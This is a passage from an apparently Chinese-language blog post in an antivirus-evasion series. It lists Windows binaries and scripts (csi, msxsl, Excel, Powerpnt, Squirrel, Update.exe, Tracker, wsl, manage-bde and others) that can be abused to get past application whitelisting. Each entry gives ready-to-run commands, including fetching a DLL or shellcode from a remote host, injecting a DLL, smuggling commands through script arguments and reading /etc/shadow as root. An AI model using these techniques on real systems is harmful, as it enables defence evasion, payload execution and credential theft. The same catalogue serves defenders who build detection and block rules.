c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exec:\Program Files (x86)\Microsoft Web Tools\Packages\Microsoft.Net.Compilers.X.Y.Z\tools\csi.exe
  • 執行方式:

rcs.exe bypass.csx
  • 參考資料:

https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Devtoolslauncher.exe

  • 使用說明:VS/VScode安裝後引入的一個程序。

文件路徑:

c:\windows\system32\devtoolslauncher.exe
  • 執行方式:

devtoolslauncher.exe LaunchForDeploy [PATH_TO_BIN] "argument here" testdevtoolslauncher.exe LaunchForDebug [PATH_TO_BIN] "argument here" test
  • 參考資料:

https://twitter.com/_felamos/status/1179811992841797632

dnx.exe

  • 使用說明:

.NET Execution Environment(DNX) 是一個SDK 和運行時環境,它包含所有的你需要創建和運行.net應用程序的組件。可以執行C#代碼

  • 執行方式:

dnx.exe consoleapp
  • 參考資料:

https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/

Dotnet.exe

  • 使用說明:

.NET Framework安裝後引入的程序

文件路徑:

C:\Program Files\dotnet\dotnet.exe
  • 執行方式

dotnet.exe [PATH_TO_DLL]
  • 參考資料:

https://twitter.com/_felamos/status/1204705548668555264

Dxcap.exe

  • 使用說明:

Visual Studio中自帶的DirectX診斷調試工具。

文件路徑:​​​​​​​

C:\Windows\System32\dxcap.exeC:\Windows\SysWOW64\dxcap.exe
  • 執行方式:

https://twitter.com/harr0ey/status/992008180904419328
  • 參考資料:

Dxcap.exe -c C:\Windows\System32\notepad.exe

Excel.exe

  • 使用說明:Microsoft Office 表格程序。

文件路徑:​​​​​​​

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exeC:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exeC:\Program Files (x86)\Microsoft Office\Office16\Excel.exeC:\Program Files\Microsoft Office\Office16\Excel.exeC:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exeC:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exeC:\Program Files (x86)\Microsoft Office\Office15\Excel.exeC:\Program Files\Microsoft Office\Office15\Excel.exeC:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exeC:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exeC:\Program Files (x86)\Microsoft Office\Office14\Excel.exeC:\Program Files\Microsoft Office\Office14\Excel.exeC:\Program Files (x86)\Microsoft Office\Office12\Excel.exeC:\Program Files\Microsoft Office\Office12\Excel.exeC:\Program Files\Microsoft Office\Office12\Excel.exe
  • 執行方式:

Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
  • 參考資料:

https://twitter.com/reegun21/status/1150032506504151040https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

Mftrace.exe

  • 使用說明:Media Foundation Tools的跟蹤日誌生成工具。

文件路徑:​​​​​​​

C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x64C:\Program Files (x86)\Windows Kits\10\bin\x86C:\Program Files (x86)\Windows Kits\10\bin\x64
  • 執行方式:

Mftrace.exe cmd.exe
  • 參考資料:

https://twitter.com/0rbz_/status/988911181422186496

msxsl.exe

  • 使用說明:

根據Microsoft的msxsl.exe命令行程序,用戶能夠使用Microsoft XSL處理器執行命令行可擴展樣式表語言(XSL)。但是,這個二進制文件可以用來執行惡意的JavaScript代碼並繞過應用程序白名單保護。

  • 執行方式:

msxsl.exe customers.xml script.xslmsxls.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
  • 參考資料:

https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/https://twitter.com/subTee/status/877616321747271680https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker

Powerpnt.exe

  • 使用說明:Microsoft Office 的ppt程序。

文件路徑:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe

C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
  • 執行方式:
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
  • 參考資料:

https://twitter.com/reegun21/status/1150032506504151040https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

rcsi.exe

  • 使用說明:

Visual Studio附帶的非交互式命令行界面,和dnx一樣rcsi可以執行C#代碼,rcsi非交互式。

  • 執行方式:

rcsi.exe bypass.csx
  • 參考資料:

https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Sqldumper.exe

  • 使用說明:Microsoft SQL附帶的調試實用程序。

文件路徑:​​​​​​​

C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exeC:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe
  • 執行方式:

sqldumper.exe 464 0 0x0110
  • 參考資料:

https://twitter.com/countuponsec/status/910969424215232518https://twitter.com/countuponsec/status/910977826853068800https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se

Sqlps.exe

  • 使用說明:Microsoft SQL Server附帶的用於加載SQL Server cmdlet的工具。

  • 文件路徑:

C:\Program files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exeC:\Program files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exeC:\Program files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exeC:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
  • 執行方式:

Sqlps.exe -noprofile
  • 參考資料:

https://twitter.com/bryon_/status/975835709587075072https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017

SQLToolsPS.exe

  • 使用說明:

Microsoft SQL附帶的用於加載SQL Server cmdlts的工具。替代sqlps.exe。SQL Server 2016+中sqlps.exe的後繼者。

文件路徑:

C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
  • 執行方式:

SQLToolsPS.exe -noprofile -command Start-Process calc.exe
  • 參考資料:

https://twitter.com/pabraeken/status/993298228840992768https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017

Squirrel.exe

  • 使用說明:

Microsoft Teams安裝的一部分,執行squirrel軟件包。

文件路徑:​​​​​​​

%localappdata%\Microsoft\Teams\current\Squirrel.exe
  • 執行方式:

squirrel.exe --download [url to package]squirrel.exe --update [url to package]squirrel.exe --updateRoolback=[url to package]
  • 參考資料:

https://www.youtube.com/watch?v=rOP3hnkj7ls
https://twitter.com/reegun21/status/1144182772623269889
http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56

Tracker.exe

  • 使用說明:Visual studio的一部分。需要1028子文件夾中的TrackerUI.dll,可以開啓一個進程並注入dll, 當然也可以直接運行exe文件。

  • 執行方式:

Tracker.exe /c "C:\Windows\System32\calc.exe"Tracker.exe /d .\calc.dll /c C:\Windows\write.exe
  • 參考資料:

https://twitter.com/subTee/status/793151392185589760https://attack.mitre.org/wiki/Execution

Update.exe

  • 使用說明:

Microsoft Teams安裝的一部分,更新現有已安裝的Nuget/squirrel軟件包。

文件路徑:

%localappdata%\Microsoft\Teams\update.exe
  • 執行方式:

Update.exe --download [url to package]Update.exe --update [url to package]Update.exe --updateRollback=[url to package]Update.exe --processStart payload.exe --process-start-args "whatever args"
  • 參考資料:

https://www.youtube.com/watch?v=rOP3hnkj7ls
https://twitter.com/reegun21/status/1144182772623269889
https://twitter.com/MrUn1k0d3r/status/1143928885211537408
http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56

vsjitdebugger.exe

  • 使用說明:

Visual Studio中的jit調試工具。

文件路徑:

c:\windows\system32\vsjitdebugger.exe
  • 執行方式

Vsjitdebugger.exe calc.exe
  • 參考資料:

https://twitter.com/pabraeken/status/990758590020452353

Wsl.exe

  • 使用說明:

從Windows命令行運行Linux工具.

文件路徑:

C:\Windows\System32\wsl.exe
  • 執行方式

wsl.exe -e /mnt/c/Windows/System32/calc.exewsl.exe -u root -e cat /etc/shadow
  • 參考資料:

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

 

0x05 腳本文件(4個)

CL_Mutexverifiers.ps1

  • 使用說明:

導入PowerShell Diagnostic CL_Mutexverifiers腳本,然後調用runAfterCancelProcess啓動可執行文件。

文件路徑:

C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1C:\Windows\diagnostics\system\Audio\CL_Mutexverifiers.ps1C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1C:\Windows\diagnostics\system\Video\CL_Mutexverifiers.ps1C:\Windows\diagnostics\system\Speech\CL_Mutexverifiers.ps1
  • 執行方式:

. C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1   \nrunAfterCancelProcess calc.ps1
  • 參考資料:

https://twitter.com/pabraeken/status/995111125447577600

CL_Invocation.ps1

  • 使用說明:

windows自帶的診斷工具,可以執行exe文件

文件路徑:​​​​​​​

C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1C:\Windows\diagnostics\system\Audio\CL_Invocation.ps1C:\Windows\diagnostics\system\WindowsUpdate\CL_Invocation.ps1
  • 執行方式:

PS C:\> . C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1PS C:\> SyncInvoke cmd.exe "/c ipconfig > E:\ip.txt"
  • 參考資料:

https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/

Manage-bde.wsf

  • 使用說明:

用於管理BitLocker的腳本.

文件路徑:

C:\Windows\System32\manage-bde.wsf
  • 執行方式:

set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsfcopy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
  • 參考資料:

https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712https://twitter.com/bohops/status/980659399495741441

Pester.bat

  • 使用說明:與app-v和發佈服務器相關的腳本。

文件路徑:​​​​​​​

c:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.batc:\Program Files\WindowsPowerShell\Modules\Pester\*\bin\Pester.bat
  • 執行方式:

Pester.bat [/help|?|-?|/?] "$null; notepad"
  • 參考資料:

https://twitter.com/Oddvarmoe/status/993383596244258816

 

0x06 後記

白名單篇終於完結,激動之情難以言表~~

免殺專題文章終於也要接近尾聲,撒花~~

 


雖然我們生活在陰溝裏,但依然有人仰望星空!


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章